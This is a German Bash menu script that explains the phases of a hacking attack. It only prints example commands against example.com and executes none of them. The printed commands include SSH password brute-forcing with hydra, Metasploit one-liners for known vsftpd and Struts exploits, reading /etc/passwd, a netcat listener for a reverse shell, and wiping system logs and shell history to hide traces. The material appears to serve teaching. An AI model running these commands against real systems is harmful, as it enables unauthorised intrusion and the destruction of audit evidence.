Files
2026-04-17 09:01:34 -05:00

153 lines
5.4 KiB
Bash
Executable File

#!/bin/bash
# ------------------------------
# Hacking-Angriffs Phasen Menü (Mit Befehlen, aber ohne Ausführung)
# ------------------------------
clear
# Funktion für Phase 1: Informationsbeschaffung
informationsbeschaffung() {
echo "[Phase 1] Informationsbeschaffung"
echo "In dieser Phase sammeln wir so viele Informationen wie möglich über das Ziel."
echo "Beispielbefehle:"
echo "- WHOIS-Abfrage: Informationen zur Domain und deren Eigentümern."
echo " Befehl: whois example.com"
echo ""
echo "- DNS-Abfragen: Abfragen der DNS-Einträge wie IP-Adressen und Subdomains."
echo " Befehl: dig example.com"
echo ""
echo "- Google Dorking: Suche nach öffentlich zugänglichen Informationen."
echo " Beispiel: site:example.com"
echo " Befehl: curl 'https://www.google.com/search?q=site:example.com'"
echo ""
echo "Ziel dieser Phase: Schwachstellen und potenzielle Angriffspunkte finden."
read -p "Drücke Enter, um zurück zum Menü zu gehen..."
menu
}
# Funktion für Phase 2: Scanning
scanning() {
echo "[Phase 2] Scanning"
echo "In dieser Phase scannen wir das Ziel nach offenen Ports und laufenden Diensten."
echo "Beispielbefehle:"
echo "- Port Scanning: Finden von offenen Ports."
echo " Befehl: nmap -sS example.com"
echo ""
echo "- Service-Identifikation: Identifizieren, welche Services auf den offenen Ports laufen."
echo " Befehl: nmap -sV example.com"
echo ""
echo "- Schwachstellenanalyse: Suche nach bekannten Schwachstellen in den identifizierten Services."
echo " Befehl: nmap --script vuln example.com"
echo ""
echo "Ziel dieser Phase: Die Angriffsfläche des Systems analysieren."
read -p "Drücke Enter, um zurück zum Menü zu gehen..."
menu
}
# Funktion für Phase 3: Exploitation
exploitation() {
echo "[Phase 3] Exploitation"
echo "In dieser Phase versuchen wir, Sicherheitslücken auszunutzen."
echo "Beispielbefehle:"
echo "- Brute-Force-Angriffe: Versuch, Passwörter zu erraten."
echo " Befehl: hydra -l root -P /path/to/passwordlist.txt ssh://example.com"
echo ""
echo "- Ausnutzung von Schwachstellen: Angriffe auf ungeschützte Webanwendungen oder Services."
echo " Befehl: msfconsole -q -x 'use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST example.com; exploit'"
echo ""
echo "- Verwenden von Metasploit-Exploits: Gezielte Schwachstellenangriffe mit Metasploit."
echo " Befehl: msfconsole -q -x 'use exploit/multi/http/struts_dmi; set RHOST example.com; exploit'"
echo ""
echo "Ziel dieser Phase: Zugang zum Zielsystem erlangen."
read -p "Drücke Enter, um zurück zum Menü zu gehen..."
menu
}
# Funktion für Phase 4: Post-Exploitation
post_exploitation() {
echo "[Phase 4] Post-Exploitation"
echo "Nachdem wir erfolgreich in das System eingedrungen sind, analysieren wir weiter:"
echo "Beispielbefehle:"
echo "- Ermitteln von Benutzern: Auflisten der Benutzerkonten auf dem Zielsystem."
echo " Befehl: cat /etc/passwd"
echo ""
echo "- Privilegieneskalation: Erhöhen der Benutzerrechte auf Administrator- oder Root-Rechte."
echo " Befehl: sudo -l"
echo " Befehl: sudo su"
echo ""
echo "- Umgehung der Firewall: Einrichten einer Backdoor oder Reverse Shell."
echo " Befehl: nc -lvp 4444"
echo ""
echo "Ziel dieser Phase: Die Kontrolle über das System zu sichern und weitere Daten zu extrahieren."
read -p "Drücke Enter, um zurück zum Menü zu gehen..."
menu
}
# Funktion für Phase 5: Aufräumen
aufraeumen() {
echo "[Phase 5] Aufräumen"
echo "In der letzten Phase versuchen wir, alle Spuren des Angriffs zu beseitigen."
echo "Beispielbefehle:"
echo "- Löschen von Logs: Entfernen von Log-Dateien, die Aktivitäten protokollieren könnten."
echo " Befehl: > /var/log/auth.log"
echo " Befehl: > /var/log/syslog"
echo ""
echo "- Bereinigen der Shell-Historie: Löschen der Bash-Historie, um Spuren zu verwischen."
echo " Befehl: history -c"
echo ""
echo "- Entfernen von Backdoors: Entfernen von Hintertüren oder Tools, die installiert wurden."
echo " Befehl: rm /tmp/backdoor"
echo ""
echo "Ziel dieser Phase: Die Aktivitäten des Angriffs zu verbergen und Spuren zu entfernen."
read -p "Drücke Enter, um zurück zum Menü zu gehen..."
menu
}
# Hauptmenü
menu() {
clear
echo "------------------------------------------------"
echo " Hacking-Angriffs Phasen Menü"
echo "------------------------------------------------"
echo "1) Informationsbeschaffung"
echo "2) Scanning"
echo "3) Exploitation"
echo "4) Post-Exploitation"
echo "5) Aufräumen"
echo "6) Beenden"
echo "------------------------------------------------"
read -p "Wähle eine Phase (1-6): " choice
case $choice in
1)
informationsbeschaffung
;;
2)
scanning
;;
3)
exploitation
;;
4)
post_exploitation
;;
5)
aufraeumen
;;
6)
echo "Beenden des Programms..."
exit 0
;;
*)
echo "Ungültige Auswahl. Bitte eine Zahl zwischen 1 und 6 wählen."
read -p "Drücke Enter, um fortzufahren..."
menu
;;
esac
}
# Programm startet mit dem Menü
menu